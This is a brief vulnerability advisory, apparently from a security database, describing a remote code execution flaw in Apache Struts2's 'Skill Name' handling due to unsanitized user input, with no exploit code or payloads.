Discussion
Apache Struts2 Skill Name Remote Code Execution Vulnerability
Apache Struts2 is prone to a remote-code-execution vulnerability because it fails to sufficiently sanitize user-supplied input.
Attackers can exploit this issue to execute arbitrary code in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
